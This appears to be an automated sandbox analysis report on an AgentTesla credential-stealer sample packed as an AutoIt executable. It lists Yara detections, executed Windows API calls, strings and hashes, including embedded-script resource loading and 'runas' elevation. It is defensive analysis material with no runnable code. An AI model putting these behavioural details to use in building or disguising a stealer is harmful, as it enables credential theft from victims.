Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.4137346233.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000001.00000002.4137346233.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.4142550881.00000000032E1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000001.00000002.4142550881.00000000032E1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	3.1%
Dynamic/Decrypted Code Coverage:	1%
Signature Coverage:	3.3%
Total number of Nodes:	1891
Total number of Limit Nodes:	33

Executed Functions

Function 00D742DE Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 235
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 00D7430D

Part of subcall function 00D76B57: _wcslen.LIBCMT ref: 00D76B6A

GetCurrentProcess.KERNEL32(?,00E0CB64,00000000,?,?), ref: 00D74422
IsWow64Process.KERNEL32(00000000,?,?), ref: 00D74429
LoadLibraryA.KERNEL32(kernel32.dll,?,?), ref: 00D74454
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00D74466
GetNativeSystemInfo.KERNELBASE(?,?,?), ref: 00D74474
FreeLibrary.KERNEL32(00000000,?,?), ref: 00D7447B
GetSystemInfo.KERNEL32(?,?,?), ref: 00D744A0

Strings

|O, xrefs: 00DB36F8
kernel32.dll, xrefs: 00D7444F
GetNativeSystemInfo, xrefs: 00D74460

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: InfoLibraryProcessSystem$AddressCurrentFreeLoadNativeProcVersionWow64_wcslen
String ID: GetNativeSystemInfo$kernel32.dll$|O
API String ID: 3290436268-3101561225
Opcode ID: 8ebfadafd8d5a166f746133f7c840a74f05cc2136f93c542893eeb1716688935
Instruction ID: 6d10d0e06d4cd12f24074525b4585b0244b26fb976591d7e58e95f2714744090
Opcode Fuzzy Hash: 8ebfadafd8d5a166f746133f7c840a74f05cc2136f93c542893eeb1716688935
Instruction Fuzzy Hash: E8A1966A90A2C0DFCF12CF6B7C411E57FA46B27744B1A94E9D085B3A22E76045CEDB31

Function 00D742A2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,00D750AA,?,?,00000000,00000000), ref: 00D742B2
FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,00D750AA,?,?,00000000,00000000), ref: 00D742C9
LoadResource.KERNEL32(?,00000000,?,?,00D750AA,?,?,00000000,00000000,?,?,?,?,?,?,00D74F20), ref: 00DB35BE
SizeofResource.KERNEL32(?,00000000,?,?,00D750AA,?,?,00000000,00000000,?,?,?,?,?,?,00D74F20), ref: 00DB35D3
LockResource.KERNEL32(00D750AA,?,?,00D750AA,?,?,00000000,00000000,?,?,?,?,?,?,00D74F20,?), ref: 00DB35E6

Strings

SCRIPT, xrefs: 00D742BF

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT
API String ID: 3051347437-3967369404
Opcode ID: 42e1084941dc9b9cedefa977a81c700e8e6940d234c0a3ca3434c278eacd1a3a
Instruction ID: 2505c596862f7a8c5e0e53f57648fc17072a42c15d2d034f585704b99924cff2
Opcode Fuzzy Hash: 42e1084941dc9b9cedefa977a81c700e8e6940d234c0a3ca3434c278eacd1a3a
Instruction Fuzzy Hash: B1118E70201701BFD7228B66DC48F677BBDEBC5B51F248269F406E66A0EB72DC548A30

Function 00DB2BA5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetCurrentDirectoryW.KERNEL32(?), ref: 00D72B6B

Part of subcall function 00D73A5A: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,00E41418,?,00D72E7F,?,?,?,00000000), ref: 00D73A78

Part of subcall function 00D79CB3: _wcslen.LIBCMT ref: 00D79CBD

GetForegroundWindow.USER32(runas,?,?,?,?,?,00E32224), ref: 00DB2C10
ShellExecuteW.SHELL32(00000000,?,?,00E32224), ref: 00DB2C17

Strings

runas, xrefs: 00DB2C0B

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: CurrentDirectoryExecuteFileForegroundModuleNameShellWindow_wcslen
String ID: runas
API String ID: 448630720-4000483414
Opcode ID: 7d840653cd12612a961b24ada2f45a383de6e1befe9cbfcd28d4b67c11f6f05c
Instruction ID: fc0555b241ac7b9720740779ff3ad4963f7c80ddb948475ad347426900266044
Opcode Fuzzy Hash: 7d840653cd12612a961b24ada2f45a383de6e1befe9cbfcd28d4b67c11f6f05c
Instruction Fuzzy Hash: 8C11B7321043455ACB14FF64D8569BEBBA4DBD5300F08941DF19A220A2FF31994AD732

Function 00DDDBBE Relevance: 6.0, APIs: 4, Instructions: 29filestringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,00DB5222), ref: 00DDDBCE
GetFileAttributesW.KERNELBASE(?), ref: 00DDDBDD
FindFirstFileW.KERNELBASE(?,?), ref: 00DDDBEE
FindClose.KERNEL32(00000000), ref: 00DDDBFA

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: FileFind$AttributesCloseFirstlstrlen
String ID:
API String ID: 2695905019-0
Opcode ID: aeca2eba9701457df9891a174a59dd8a56645c6f1d6849decd18c285fbb89ecd
Instruction ID: 6fc12009332472e60764a62f3464b037a5f8d4416911361c9b4270e3257ff5b5
Opcode Fuzzy Hash: aeca2eba9701457df9891a174a59dd8a56645c6f1d6849decd18c285fbb89ecd
Instruction Fuzzy Hash: 1DF0A0308609105BC6206BBCAC0E8BA377D9F05334F244703F876D22F1EBB1999886A5

Function 00D7D730 Relevance: 21.6, APIs: 14, Instructions: 625windowsleeptimeCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 00D7D807
timeGetTime.WINMM ref: 00D7DA07
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00D7DB28
TranslateMessage.USER32(?), ref: 00D7DB7B
DispatchMessageW.USER32(?), ref: 00D7DB89
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00D7DB9F
Sleep.KERNEL32(0000000A), ref: 00D7DBB1

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Message$Peek$DispatchInputSleepStateTimeTranslatetime
String ID:
API String ID: 2189390790-0
Opcode ID: 3ca8a14fd77560a16807e8645ce6c4912a4e7854bfa7adf55a2a09ba836d8072
Instruction ID: 46d146281e32820e871faa945fc93dce810f850d6d5bec846eb96818effae6fb
Opcode Fuzzy Hash: 3ca8a14fd77560a16807e8645ce6c4912a4e7854bfa7adf55a2a09ba836d8072
Instruction Fuzzy Hash: 1C42BF306082429FD725DF25C844F6AB7B2FF86304F18865DE59997291E771E888CFB2

Function 00D72CD4 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00D72D07
RegisterClassExW.USER32(00000030), ref: 00D72D31
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00D72D42
InitCommonControlsEx.COMCTL32(?), ref: 00D72D5F
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00D72D6F
LoadIconW.USER32(000000A9), ref: 00D72D85
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00D72D94

Strings

+, xrefs: 00D72CF0
0, xrefs: 00D72CE9
AutoIt v3 GUI, xrefs: 00D72D23
TaskbarCreated, xrefs: 00D72D37

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: 467a55330b056b5ade76895091f37da60a63c39a35e0835ebba4909e4e1a92f0
Instruction ID: 30e0d99a3a4f77251cfb8833333ba867be97116e6878fde7a3e8c9b977c07b62
Opcode Fuzzy Hash: 467a55330b056b5ade76895091f37da60a63c39a35e0835ebba4909e4e1a92f0
Instruction Fuzzy Hash: 1221E3B5901308AFDF00DFA6E849BDDBBB4FB49700F10825AF611B62A0D7B10589CF90

Function 00DB065B Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00DB039A: CreateFileW.KERNELBASE(00000000,00000000,?,00DB0704,?,?,00000000,?,00DB0704,00000000,0000000C), ref: 00DB03B7

GetLastError.KERNEL32 ref: 00DB076F
__dosmaperr.LIBCMT ref: 00DB0776
GetFileType.KERNELBASE(00000000), ref: 00DB0782
GetLastError.KERNEL32 ref: 00DB078C
__dosmaperr.LIBCMT ref: 00DB0795
CloseHandle.KERNEL32(00000000), ref: 00DB07B5
CloseHandle.KERNEL32(?), ref: 00DB08FF
GetLastError.KERNEL32 ref: 00DB0931
__dosmaperr.LIBCMT ref: 00DB0938

Strings

H, xrefs: 00DB08BD

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 61d585441dcde905404c67bfebf5fe57f54e3b50cd3e5b8542699c9d164d1b4a
Instruction ID: 09cd2feb246b7f5cd14186369b64031f846a1317cfb82994ec65e28e2140b79a
Opcode Fuzzy Hash: 61d585441dcde905404c67bfebf5fe57f54e3b50cd3e5b8542699c9d164d1b4a
Instruction Fuzzy Hash: 19A1F636A141048FDF19AF68D851BEE7FA0EB06320F180169F816EB391DB359917CBB1

Function 00D7344D Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D73A5A: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,00E41418,?,00D72E7F,?,?,?,00000000), ref: 00D73A78

Part of subcall function 00D73357: GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00D73379

RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 00D7356A
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 00DB318D
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 00DB31CE
RegCloseKey.ADVAPI32(?), ref: 00DB3210
_wcslen.LIBCMT ref: 00DB3277
_wcslen.LIBCMT ref: 00DB3286

Strings

\Include\, xrefs: 00D73527
Include, xrefs: 00DB3184, 00DB31C5
Software\AutoIt v3\AutoIt, xrefs: 00D73560
\, xrefs: 00DB328C

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: NameQueryValue_wcslen$CloseFileFullModuleOpenPath
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 98802146-2727554177
Opcode ID: ff209350daededc745954cb27af1b7ec2cb41a72eb0309ad72a0ac64c15dd211
Instruction ID: 1705538104b4676fd21778cb692a001d0ad80a5ba2fd8bd6027f62860cbf71c4
Opcode Fuzzy Hash: ff209350daededc745954cb27af1b7ec2cb41a72eb0309ad72a0ac64c15dd211
Instruction Fuzzy Hash: 8071A6714043019EC314EF66DC8299BBBF8FF95740F90452EF649A31A1EB319A49CB72

Function 00D72B83 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 63
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00D72B8E
LoadCursorW.USER32(00000000,00007F00), ref: 00D72B9D
LoadIconW.USER32(00000063), ref: 00D72BB3
LoadIconW.USER32(000000A4), ref: 00D72BC5
LoadIconW.USER32(000000A2), ref: 00D72BD7
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00D72BEF
RegisterClassExW.USER32(?), ref: 00D72C40

Part of subcall function 00D72CD4: GetSysColorBrush.USER32(0000000F), ref: 00D72D07
Part of subcall function 00D72CD4: RegisterClassExW.USER32(00000030), ref: 00D72D31
Part of subcall function 00D72CD4: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00D72D42
Part of subcall function 00D72CD4: InitCommonControlsEx.COMCTL32(?), ref: 00D72D5F
Part of subcall function 00D72CD4: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00D72D6F
Part of subcall function 00D72CD4: LoadIconW.USER32(000000A9), ref: 00D72D85
Part of subcall function 00D72CD4: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00D72D94

Strings

#, xrefs: 00D72C16
0, xrefs: 00D72C0F
AutoIt v3, xrefs: 00D72C2F

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: d7e8a06c67ade80346e7b79011941f26b767544965d78164773e22b7e0ac441d
Instruction ID: 518c6625a526e1a8d88633778676087ca685eb8da1ab518b404a87e6cd83b614
Opcode Fuzzy Hash: d7e8a06c67ade80346e7b79011941f26b767544965d78164773e22b7e0ac441d
Instruction Fuzzy Hash: 99216A78E40314AFCF109FA7EC45BA97FB4FB49B40F16009AE500B66A0D3B1058ACF90

Function 00D7B710 Relevance: 16.3, APIs: 1, Strings: 8, Instructions: 587COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 00D7BB4E

Strings

p%, xrefs: 00D7BB32
p#, xrefs: 00DC0263
p#, xrefs: 00D7BA72
x#, xrefs: 00DC0168
p#, xrefs: 00D7BB6B
p%, xrefs: 00D7B8DC
x#, xrefs: 00DC0207
p#, xrefs: 00DC024F

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Init_thread_footer
String ID: p#$p#$p#$p#$p%$p%$x#$x#
API String ID: 1385522511-4136154834
Opcode ID: 8b12bbc4fdad92c36e542fa10e66fde7689073dbe0a8f29560f64ba93d223ec5
Instruction ID: ebb42395e45282d32f4a2bab32f18dc5cc64d0d091a491f5dcc29d22844cd18b
Opcode Fuzzy Hash: 8b12bbc4fdad92c36e542fa10e66fde7689073dbe0a8f29560f64ba93d223ec5
Instruction Fuzzy Hash: D8328B34A0020ADFDB14CF54C894BBEBBB5EF44324F58805AEA59AB251E774ED41CBB1

Function 00D73170 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 145
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?,?,?,?,?,?,00D7316A,?,?), ref: 00D731D8
KillTimer.USER32(?,00000001,?,?,?,?,?,00D7316A,?,?), ref: 00D73204
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00D73227
RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,00D7316A,?,?), ref: 00D73232
CreatePopupMenu.USER32 ref: 00D73246
PostQuitMessage.USER32(00000000), ref: 00D73267

Strings

TaskbarCreated, xrefs: 00D7322D

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: c2c6df396475c168f3a5a406793b10744fa1b381526dac68da69230e5084edec
Instruction ID: a683934180d78ff8abba69399eaec1c2c0a6d767b2a347f7c739266203be3a1b
Opcode Fuzzy Hash: c2c6df396475c168f3a5a406793b10744fa1b381526dac68da69230e5084edec
Instruction Fuzzy Hash: D7419B35250300EFDF141F789C0ABB93B15E746340F1C821AF94EA12A2F771CA85A7B6

Function 00D7DFD0 Relevance: 15.4, APIs: 2, Strings: 6, Instructions: 1414COMMON

Download Yara Rule

Strings

Variable must be of type 'Object'., xrefs: 00DC32B7
D%, xrefs: 00DC2FDA
D%, xrefs: 00D7E4B1
D%, xrefs: 00DC302D
D%, xrefs: 00D7E1E0
D%, xrefs: 00D7E27E

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID:
String ID: D%$D%$D%$D%$D%$Variable must be of type 'Object'.
API String ID: 0-2799515523
Opcode ID: 0d995282a3ac9aa1a198a0abe5b4fee998a6ccc1b813aa4a4186081bf38f4800
Instruction ID: d1657301476d3c31c7fc87d62cee6e8165490ed67e1839b715f3c94961c543b3
Opcode Fuzzy Hash: 0d995282a3ac9aa1a198a0abe5b4fee998a6ccc1b813aa4a4186081bf38f4800
Instruction Fuzzy Hash: 2FC26A75A00215CFCB24DF58C881AADB7B1FF09304F2885A9E959AB391E375ED41CBB1

Function 00ED2600 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 239
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000), ref: 00ED26D1
VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00ED28F7

Strings

., xrefs: 00ED27B5, 00ED27C1, 00ED27D0

